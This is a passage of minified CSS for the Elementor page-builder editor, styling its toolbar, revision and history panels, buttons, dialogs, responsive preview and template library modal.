.mce-btn.mce-listbox button { color: var(--e-a-color-txt); } .elementor-control-type-wysiwyg .mce-toolbar-grp > div { padding: 0 3px; } .elementor-control-type-wysiwyg .elementor-wp-editor { box-sizing: border-box; } .elementor-control-type-wysiwyg .mce-ico { color: var(--e-a-color-txt); font-size: 16px; } .elementor-control-type-wysiwyg .mce-btn-group .mce-btn:hover, .elementor-control-type-wysiwyg .mce-btn-group .mce-btn:active, .elementor-control-type-wysiwyg .mce-btn-group .mce-btn.mce-active { color: var(--e-a-color-txt-active); background: var(--e-a-bg-hover); border-color: var(--e-a-border-color); box-shadow: none; } .elementor-control-type-wysiwyg .mce-btn-group .mce-btn:hover i, .elementor-control-type-wysiwyg .mce-btn-group .mce-btn:active i, .elementor-control-type-wysiwyg .mce-btn-group .mce-btn.mce-active i { color: var(--e-a-color-txt-active); } .elementor-control-type-wysiwyg .mce-path { padding: 5px 10px; } .elementor-control-type-wysiwyg .mce-path-item { font-size: 12px; color: var(--e-a-color-txt); } .elementor-control-type-wysiwyg .mce-top-part:before { box-shadow: none; } .elementor-control-type-wysiwyg .elementor-control-dynamic-switcher { border: none; } @media screen and (prefers-color-scheme: dark) { #wp-link-wrap { color-scheme: light; --e-a-color-txt: #515962; --e-a-bg-default: #ffffff; --e-a-border-color-bold: #D5D8DC; --e-a-color-primary-bold: #D004D4; } #wp-link { color: var(--e-a-color-txt); } #wp-link input { background-color: var(--e-a-bg-default); border-color: var(--e-a-border-color-bold); } #wp-link input[type=checkbox] { border-color: var(--e-a-border-color-bold); } #wp-link input[type=checkbox]:checked { background: var(--e-a-color-primary-bold); } #wp-link input.button-primary { background: #2271b1; border-color: #2271b1; color: #fff; } } #elementor-mode-switcher { --e-a-mode-switcher-width: 15px; --e-a-mode-switcher-height: 50px; --e-a-mode-switcher-icon-size: 15px; position: absolute; right: 100%; top: 50%; transform: translateY(-50%); background-color: var(--e-a-bg-default); box-shadow: -3px 1px 3px rgba(0, 0, 0, 0.05); transition: 0.3s opacity; } #elementor-mode-switcher:hover { background-color: var(--e-a-bg-hover); } #elementor-mode-switcher:focus-within { background-color: var(--e-a-bg-active); } .e-panel-block-interactions #elementor-mode-switcher { opacity: 0; pointer-events: none; } #elementor-mode-switcher-preview i { display: flex; flex-direction: column; justify-content: center; width: var(--e-a-mode-switcher-width); height: var(--e-a-mode-switcher-height); font-size: var(--e-a-mode-switcher-icon-size); cursor: pointer; } #elementor-mode-switcher-preview-input { display: none; } .elementor-revision-item__wrapper { display: flex; align-items: center; text-align: start; width: 100%; border: var(--e-a-border); border-radius: var(--e-a-border-radius); padding: 10px 15px; margin-block-end: 10px; font-size: 11px; transition: var(--e-a-transition-hover); background-color: transparent; } .elementor-revision-item__wrapper:hover, .elementor-revision-item__wrapper:focus { background-color: var(--e-a-bg-hover); } .elementor-revision-item-loading .elementor-revision-item__tools-current { display: none; } .elementor-revision-item:not(.elementor-revision-item-loading) .elementor-revision-item__tools-spinner { display: none; } .elementor-revision-item__gravatar { border-radius: 50%; overflow: hidden; } .elementor-revision-item__gravatar img { display: block; } .elementor-revision-item__details { padding-inline-start: 15px; flex-grow: 1; cursor: pointer; } .elementor-revision-meta { padding-block-start: 5px; font-size: 10px; font-weight: bold; } .elementor-revision-current-preview .elementor-revision-item__wrapper { border-color: var(--e-a-border-color-accent); background-color: var(--e-a-bg-active); } #elementor-panel-revisions-loading { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); } #elementor-panel-revisions-loading .eicon-loading { font-size: 50px; } .elementor-panel-revisions-buttons { display: flex; justify-content: space-between; padding: 15px 20px; border-block-end: var(--e-a-border); } .elementor-history-item { display: flex; align-items: center; text-align: start; border: var(--e-a-border); border-radius: var(--e-a-border-radius); padding: 10px 15px; margin-block-end: 10px; width: 100%; font-size: 11px; line-height: 1.4; background-color: transparent; cursor: pointer; transition: var(--e-a-transition-hover); } .elementor-history-item:hover:not(.elementor-history-item-current), .elementor-history-item:focus:not(.elementor-history-item-current) { background-color: var(--e-a-bg-hover); color: var(--e-a-txt-color-hover); } .elementor-history-item:hover:not(.elementor-history-item-current) .elementor-history-item__icon .eicon:before, .elementor-history-item:focus:not(.elementor-history-item-current) .elementor-history-item__icon .eicon:before { content: "\e924"; } .elementor-history-item-current { border-color: var(--e-a-border-color-accent); background-color: var(--e-a-bg-active); color: var(--e-a-txt-color-active); } .elementor-history-item-current .elementor-history-item__icon .eicon:before, .elementor-history-item-current:hover .elementor-history-item__icon .eicon:before, .elementor-history-item-current:focus .elementor-history-item__icon .eicon:before { content: "\e90e"; } .elementor-history-item__details { width: 95%; } .elementor-history-item__title { font-weight: bold; } .elementor-history-item__subtitle, .elementor-history-item__action { font-weight: lighter; } .elementor-history-item__action { font-style: italic; text-decoration: underline; } .elementor-history-revisions-message { font-size: 11px; text-align: center; padding-block-start: 5px; } #elementor-panel-history { padding: 20px; padding-block-end: 15px; } #elementor-panel-history.elementor-empty .elementor-history-revisions-message { padding-block-start: 20px; } #elementor-panel-history:not(.elementor-empty) { margin-block-start: 10px; } #elementor-panel-history-no-items, #elementor-panel-revisions-no-revisions { text-align: center; } #elementor-panel-history-no-items .elementor-nerd-box-icon, #elementor-panel-revisions-no-revisions .elementor-nerd-box-icon { margin-block-start: 20px; } .e-control-display-conditions-promotion__wrapper { display: flex; justify-content: space-between; } .e-control-display-conditions-promotion__wrapper:hover .eicon-lock.e-control-display-conditions-promotion { color: var(--e-a-color-accent); } .e-control-display-conditions-promotion__description { display: flex; align-self: center; } .e-control-display-conditions-promotion__text { display: inline-block; } .e-control-display-conditions-promotion__lock-wrapper { width: 2.5rem; display: flex; justify-content: center; align-items: center; } .e-control-display-conditions-promotion.eicon-flow { align-self: flex-end; cursor: pointer; border: var(--e-a-border-bold); border-radius: var(--e-a-border-radius); padding: 5px; } .e-control-display-conditions-promotion.eicon-flow.filled { background-color: var(--e-a-bg-active); color: #E73CF6; } .e-control-motion-effects-promotion__wrapper:hover .eicon-lock { color: var(--e-a-color-accent); } .e-control-motion-effects-promotion__wrapper .select-promotion { display: flex; flex-direction: column; justify-content: center; padding-inline-start: 5px; padding-inline-end: 20px; cursor: pointer; height: 27px; width: 100%; color: var(--e-a-color-txt); border-radius: var(--e-a-border-radius); background-color: var(--e-a-bg-default); box-shadow: none; border: var(--e-a-border-bold); font-size: var(--control-title-size); } .e-control-motion-effects-promotion__lock-wrapper { width: 2.5rem; display: flex; justify-content: center; align-items: center; } .e-link-promotion { font-family: "Roboto", sans-serif; font-weight: 500; color: #93003f; } .e-link-promotion:hover { color: #93003f; } .elementor-panel #elementor-panel-header #elementor-panel-header-kit-close, .elementor-panel #elementor-panel-header #elementor-panel-header-kit-back { display: none; } .elementor-editor-kit .elementor-panel #elementor-panel-header #elementor-panel-header-kit-close, .elementor-editor-kit .elementor-panel #elementor-panel-header #elementor-panel-header-kit-back { display: flex; } body:not(.e-routes-has-history) #elementor-panel-header-kit-back { pointer-events: none; visibility: hidden; } .elementor-editor-kit .elementor-panel #elementor-panel-page-settings .elementor-panel-navigation { display: none; } .elementor-editor-kit .elementor-panel #elementor-panel-page-menu { padding: 25px 15px 0; } .elementor-editor-kit #elementor-panel-header-add-button, .elementor-editor-kit #elementor-panel-header-menu-button, .elementor-editor-kit #elementor-panel-footer-sub-menu-item-save-template, .elementor-editor-kit #elementor-panel-footer-navigator { display: none; } .elementor-control-type-global-style-repeater .elementor-repeater-fields { margin-block-end: 15px; position: relative; } .elementor-control-type-global-style-repeater .elementor-repeater-fields.ui-sortable-helper { background-color: var(--e-a-bg-default); } .elementor-control-type-global-style-repeater .elementor-repeater-row-controls { display: flex; align-items: center; } .elementor-control-type-global-style-repeater .elementor-repeater-row-tool { cursor: pointer; color: var(--e-a-color-txt); background-color: transparent; border: none; padding: 5px; } .elementor-control-type-global-style-repeater .elementor-repeater-row-tool:focus, .elementor-control-type-global-style-repeater .elementor-repeater-row-tool:hover { color: var(--e-a-color-txt-hover); } .elementor-control-type-global-style-repeater .elementor-control { padding: 0; } .elementor-control-type-global-style-repeater .elementor-control-title { flex-grow: 1; } .elementor-control-type-global-style-repeater .elementor-control-title input { max-width: 135px; } .elementor-control-type-global-style-repeater .elementor-control-title input:not(:focus) { background: none; border: none; } .elementor-control-type-global-style-repeater .elementor-control-input-wrapper { display: flex; align-items: center; min-width: 81px; } .elementor-control-type-global-style-repeater .elementor-control-input-wrapper:hover .e-global-colors__color-value { display: none; } .elementor-control-type-global-style-repeater .elementor-control-input-wrapper:not(:hover) .elementor-repeater-tool-remove, .elementor-control-type-global-style-repeater .elementor-control-input-wrapper:not(:hover) .elementor-repeater-tool-remove--disabled, .elementor-control-type-global-style-repeater .elementor-control-input-wrapper:not(:hover) .elementor-repeater-tool-sort { display: none; } .elementor-control-type-global-style-repeater .elementor-repeater-row-controls > .elementor-control > .elementor-control-content > .elementor-control-field > .elementor-control-input-wrapper { margin-block-start: 0; } .elementor-control-type-global-style-repeater .elementor-controls-popover { align-self: end; margin-block-start: 35px; top: 0; width: 100%; } .elementor-control-type-global-style-repeater .elementor-controls-popover:before { left: 5px; } .elementor-control-type-global-style-repeater .elementor-controls-popover .elementor-control { padding: 0 20px 15px; } .elementor-control-type-global-style-repeater .elementor-controls-popover .elementor-control-title { flex-grow: initial; } .elementor-control-type-global-style-repeater .elementor-button-wrapper { text-align: center; border-block-start: var(--e-a-border); padding-block-start: 15px; } .elementor-control-type-global-style-repeater .pickr, .elementor-control-type-global-style-repeater .elementor-control-popover-toggle-toggle-label { margin-inline-start: 5px; } .elementor-control-type-global-style-repeater .e-sortable-placeholder { background-color: var(--e-a-color-info); opacity: 0.9; width: 100%; margin: 8px 0; height: 2px; } .elementor-control-system_colors, .elementor-control-system_typography { padding-block-end: 0; } .e-global-colors__color-value { font-size: 10px; padding: 0 5px; text-align: end; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; } @keyframes load { 0% { opacity: 0.3; } 50% { opacity: 1; } 100% { opacity: 0.3; } } @keyframes fadeIn { from { opacity: 0; } to { opacity: 1; } } @keyframes mover { 0% { transform: translateY(0); } 100% { transform: translateY(-5px); } } @keyframes slideDown { 0% { transform: translateY(-30px); } 100% { transform: translateY(0); } } .elementor-button, .e-btn { font-size: 12px; font-weight: 500; line-height: 1.2; padding: 8px 16px; outline: none; border: none; border-radius: var(--e-a-border-radius); background-color: var(--e-a-btn-bg); color: var(--e-a-btn-color-invert); transition: var(--e-a-transition-hover); } .elementor-button:hover, .e-btn:hover { border: none; } .elementor-button:hover, .elementor-button:focus, .e-btn:hover, .e-btn:focus { background-color: var(--e-a-btn-bg-hover); color: var(--e-a-btn-color-invert); } .elementor-button:active, .e-btn:active { background-color: var(--e-a-btn-bg-active); } .elementor-button:not([disabled]), .e-btn:not([disabled]) { cursor: pointer; } .elementor-button:disabled, .e-btn:disabled { background-color: var(--e-a-btn-bg-disabled); color: var(--e-a-btn-color-disabled); } .elementor-button:not(.elementor-button-state) .elementor-state-icon, .e-btn:not(.elementor-button-state) .elementor-state-icon { display: none; } .elementor-button.e-btn-txt, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel, .e-btn.e-btn-txt, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel { background: transparent; color: var(--e-a-color-txt); } .elementor-button.e-btn-txt:hover, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel:hover, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel:hover, .elementor-button.e-btn-txt:focus, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel:focus, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel:focus, .e-btn.e-btn-txt:hover, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel:hover, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel:hover, .e-btn.e-btn-txt:focus, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel:focus, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel:focus { background: var(--e-a-bg-hover); color: var(--e-a-color-txt-hover); } .elementor-button.e-btn-txt:disabled, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel:disabled, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel:disabled, .e-btn.e-btn-txt:disabled, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel:disabled, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel:disabled { background: transparent; color: var(--e-a-color-txt-disabled); } .elementor-button.e-btn-txt-border, .e-btn.e-btn-txt-border { border: 1px solid var(--e-a-color-txt-muted); } .elementor-button.elementor-button-success, .elementor-button.e-success, .e-btn.elementor-button-success, .e-btn.e-success { background-color: var(--e-a-btn-bg-success); } .elementor-button.elementor-button-success:hover, .elementor-button.elementor-button-success:focus, .elementor-button.e-success:hover, .elementor-button.e-success:focus, .e-btn.elementor-button-success:hover, .e-btn.elementor-button-success:focus, .e-btn.e-success:hover, .e-btn.e-success:focus { background-color: var(--e-a-btn-bg-success-hover); } .elementor-button.e-primary, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over, .e-btn.e-primary, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over { background-color: var(--e-a-btn-bg-primary); color: var(--e-a-btn-color); } .elementor-button.e-primary:hover, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok:hover, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok:hover, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over:hover, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over:hover, .elementor-button.e-primary:focus, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok:focus, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok:focus, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over:focus, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over:focus, .e-btn.e-primary:hover, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok:hover, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok:hover, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over:hover, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over:hover, .e-btn.e-primary:focus, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok:focus, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok:focus, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over:focus, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over:focus { background-color: var(--e-a-btn-bg-primary-hover); color: var(--e-a-btn-color); } .elementor-button.e-primary.e-btn-txt, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-ok, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-ok, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-take_over, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-take_over, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-primary.dialog-button.dialog-cancel, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-cancel, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over.dialog-cancel, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-primary.dialog-button.dialog-cancel, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-cancel, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over.dialog-cancel, .e-btn.e-primary.e-btn-txt, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-ok, .dialog-type-alert .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-ok, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-take_over, .dialog-type-alert .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-take_over, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-primary.dialog-button.dialog-cancel, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-cancel, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over.dialog-cancel, .dialog-type-alert .dialog-buttons-wrapper .e-btn.e-primary.dialog-button.dialog-cancel, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-cancel, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over.dialog-cancel { background: transparent; color: var(--e-a-color-primary-bold); } .elementor-button.e-primary.e-btn-txt:hover, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-ok:hover, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-ok:hover, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-take_over:hover, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-take_over:hover, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-primary.dialog-button.dialog-cancel:hover, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-cancel:hover, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over.dialog-cancel:hover, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-primary.dialog-button.dialog-cancel:hover, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-cancel:hover, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over.dialog-cancel:hover, .elementor-button.e-primary.e-btn-txt:focus, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-ok:focus, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-ok:focus, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-take_over:focus, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-take_over:focus, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-primary.dialog-button.dialog-cancel:focus, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-cancel:focus, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over.dialog-cancel:focus, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-primary.dialog-button.dialog-cancel:focus, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-cancel:focus, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-take_over.dialog-cancel:focus, .e-btn.e-primary.e-btn-txt:hover, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-ok:hover, .dialog-type-alert .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-ok:hover, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-take_over:hover, .dialog-type-alert .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-take_over:hover, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-primary.dialog-button.dialog-cancel:hover, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-cancel:hover, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over.dialog-cancel:hover, .dialog-type-alert .dialog-buttons-wrapper .e-btn.e-primary.dialog-button.dialog-cancel:hover, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-cancel:hover, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over.dialog-cancel:hover, .e-btn.e-primary.e-btn-txt:focus, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-ok:focus, .dialog-type-alert .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-ok:focus, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-take_over:focus, .dialog-type-alert .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-take_over:focus, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-primary.dialog-button.dialog-cancel:focus, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-cancel:focus, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over.dialog-cancel:focus, .dialog-type-alert .dialog-buttons-wrapper .e-btn.e-primary.dialog-button.dialog-cancel:focus, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-cancel:focus, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over.dialog-cancel:focus { background: var(--e-a-bg-primary); } .elementor-button.go-pro, .elementor-button.e-accent, .e-btn.go-pro, .e-btn.e-accent { background-color: var(--e-a-btn-bg-accent); } .elementor-button.go-pro:hover, .elementor-button.go-pro:focus, .elementor-button.e-accent:hover, .elementor-button.e-accent:focus, .e-btn.go-pro:hover, .e-btn.go-pro:focus, .e-btn.e-accent:hover, .e-btn.e-accent:focus { background-color: var(--e-a-btn-bg-accent-hover); } .elementor-button.go-pro:active, .elementor-button.e-accent:active, .e-btn.go-pro:active, .e-btn.e-accent:active { background-color: var(--e-a-btn-bg-accent-active); } .elementor-button.elementor-button-info, .elementor-button.e-info, .e-btn.elementor-button-info, .e-btn.e-info { background-color: var(--e-a-btn-bg-info); } .elementor-button.elementor-button-info:hover, .elementor-button.elementor-button-info:focus, .elementor-button.e-info:hover, .elementor-button.e-info:focus, .e-btn.elementor-button-info:hover, .e-btn.elementor-button-info:focus, .e-btn.e-info:hover, .e-btn.e-info:focus { background-color: var(--e-a-btn-bg-info-hover); } .elementor-button.elementor-button-warning, .elementor-button.e-warning, .e-btn.elementor-button-warning, .e-btn.e-warning { background-color: var(--e-a-btn-bg-warning); } .elementor-button.elementor-button-warning:hover, .elementor-button.elementor-button-warning:focus, .elementor-button.e-warning:hover, .elementor-button.e-warning:focus, .e-btn.elementor-button-warning:hover, .e-btn.elementor-button-warning:focus, .e-btn.e-warning:hover, .e-btn.e-warning:focus { background-color: var(--e-a-btn-bg-warning-hover); } .elementor-button.elementor-button-danger, .elementor-button.e-danger, .e-btn.elementor-button-danger, .e-btn.e-danger { background-color: var(--e-a-btn-bg-danger); } .elementor-button.elementor-button-danger:hover, .elementor-button.elementor-button-danger:focus, .elementor-button.e-danger:hover, .elementor-button.e-danger:focus, .e-btn.elementor-button-danger:hover, .e-btn.elementor-button-danger:focus, .e-btn.e-danger:hover, .e-btn.e-danger:focus { background-color: var(--e-a-btn-bg-danger-hover); } .elementor-button i, .e-btn i { margin-inline-end: 5px; } body { --e-preview-width: calc(100% - var(--e-editor-panel-width, 300px)); } body.elementor-navigator-docked { --e-preview-width: calc(100% - var(--e-editor-panel-width, 300px) - var(--e-editor-navigator-width, 0px)); } body.elementor-device-desktop #elementor-preview { overflow-y: hidden; align-items: flex-start; } body:not(.elementor-device-desktop) body { overflow-y: auto; } #elementor-preview { background-color: #333; height: 100%; border: 0; width: var(--e-preview-width); display: flex; flex-direction: column; justify-content: flex-start; align-items: center; position: relative; direction: ltr; } #elementor-preview > div { direction: rtl; } #elementor-preview-responsive-wrapper { transform-origin: top center; padding: 20px; transform: scale(var(--e-preview-scale, 1)); } .elementor-device-desktop #elementor-preview-responsive-wrapper { min-width: 1025px; width: 100%; height: 100%; padding: 0; position: relative; } body.e-is-device-mode:not(.elementor-device-desktop) #elementor-preview-responsive-wrapper { width: var(--e-editor-preview-width); height: var(--e-editor-preview-height); margin: 0 max((100vw - var(--e-editor-panel-width) - var(--e-editor-preview-width)) / 2, 20px); box-sizing: content-box; position: relative; max-height: calc(100vh - 80px); } body.e-is-device-mode:not(.elementor-device-desktop) #elementor-preview-responsive-wrapper .ui-resizable-handle { display: flex !important; } #elementor-preview-responsive-wrapper:not(.ui-resizable-resizing) { transition: 0.3s ease-in-out; } #elementor-preview-responsive-wrapper .ui-resizable-handle { top: 0; } #elementor-preview-responsive-wrapper .ui-resizable-handle.ui-resizable-s { top: auto; bottom: 0; } #elementor-preview-responsive-wrapper .ui-resizable-n, #elementor-preview-responsive-wrapper .ui-resizable-s { align-items: center; justify-content: center; height: 20px; } #elementor-preview-responsive-wrapper .ui-resizable-n:before, #elementor-preview-responsive-wrapper .ui-resizable-s:before { content: ""; display: block; background-color: rgba(255, 255, 255, 0.2); width: 50px; height: 4px; border-radius: 3px; transition: all 0.2s ease-in-out; } #elementor-preview-responsive-wrapper .ui-resizable-n:hover:before, #elementor-preview-responsive-wrapper .ui-resizable-s:hover:before { background-color: rgba(255, 255, 255, 0.6); width: 100px; } #elementor-preview-responsive-wrapper .ui-resizable-e, #elementor-preview-responsive-wrapper .ui-resizable-w { align-items: center; justify-content: center; width: 20px; } #elementor-preview-responsive-wrapper .ui-resizable-e:before, #elementor-preview-responsive-wrapper .ui-resizable-w:before { content: ""; display: block; background-color: rgba(255, 255, 255, 0.2); width: 4px; height: 50px; border-radius: 3px; transition: all 0.2s ease-in-out; } #elementor-preview-responsive-wrapper .ui-resizable-e:hover:before, #elementor-preview-responsive-wrapper .ui-resizable-w:hover:before { background-color: rgba(255, 255, 255, 0.6); height: 100px; } #elementor-preview-responsive-wrapper.ui-resizable-resizing .ui-resizable-handle:before { background-color: rgba(255, 255, 255, 0.9); } #elementor-preview-responsive-wrapper .ui-resizable-s { bottom: 0; } #elementor-preview-responsive-wrapper .ui-resizable-e { right: 0; } #elementor-preview-responsive-wrapper .ui-resizable-w { left: 0; } #elementor-preview-iframe { width: 100%; height: 100%; background-color: #fff; box-shadow: 0 0 3px rgba(0, 0, 0, 0.3), 0 0 20px rgba(0, 0, 0, 0.15); } #elementor-template-library-modal a.elementor-template-library-blank-footer-link { font-style: normal; text-decoration: underline; } #elementor-template-library-modal .dialog-buttons-wrapper { display: none; } #elementor-template-library-modal .select2-container { z-index: 0; } #elementor-template-library-modal .dialog-message { overflow-y: scroll; } #elementor-template-library-header-menu { text-align: center; } .elementor-template-library-menu-item { display: inline-block; padding: 17px 20px; border-block-end: 3px solid transparent; cursor: pointer; } .elementor-template-library-menu-item:hover { background-color: var(--e-a-bg-hover); border-color: var(--e-a-bg-hover); } .elementor-template-library-menu-item.elementor-active { border-color: var(--e-a-border-color-accent); color: var(--e-a-color-txt-accent); } #elementor-template-library-header-actions { display: flex; } #elementor-template-library-header-actions > div { padding-inline-end: 16px; } #elementor-template-library-header-preview-insert-wrapper { cursor: default; padding: 0 10px; } .elementor-template-library-template-insert + .elementor-template-library-template-generate-variation { margin-inline-start: 4px; } #elementor-template-library-header-preview-back { padding-block: 16.5px 15px; padding-inline: 0 16.5px; border-inline-end: var(--e-a-border); cursor: pointer; transition: color 0.5s; } #elementor-template-library-header-preview-back:hover { color: var(--e-a-color-txt-hover); } #elementor-template-library-header-preview-back i { padding-inline-end: 10px; font-size: 18px; } #elementor-template-library-header-preview-back i:before { content: "\e87d"; } #elementor-template-library-templates[data-template-source=local] #elementor-template-library-templates-container { margin-block-start: 10px; margin-block-end: 45px; border-block-start: var(--e-a-border); } #elementor-template-library-templates[data-template-source=local] .elementor-template-library-order-input:checked + .elementor-template-library-order-label { color: var(--e-a-color-txt-active); } #elementor-template-library-templates[data-template-source=remote] #elementor-template-library-templates-container { margin: 10px -15px 0; } #elementor-template-library-templates[data-template-source=remote] .elementor-template-library-order-input:checked + .elementor-template-library-order-label { color: var(--e-a-color-txt-active); } #elementor-template-library-templates[data-template-source=empty] #elementor-template-library-order-toolbar-local, #elementor-template-library-templates[data-template-source=empty] #elementor-template-library-footer-banner { display: none; } #elementor-template-library-templates.elementor-templates-filter-active #elementor-template-library-footer-banner { display: none; } #elementor-template-library-templates .elementor-template-library-order-input { display: none; } #elementor-template-library-templates .elementor-template-library-order-input:checked + .elementor-template-library-order-label { padding-inline-end: 8px; } #elementor-template-library-templates .elementor-template-library-order-input:checked + .elementor-template-library-order-label:after { font-family: eicons; content: "\e8ae"; margin-inline-start: 3px; } #elementor-template-library-templates 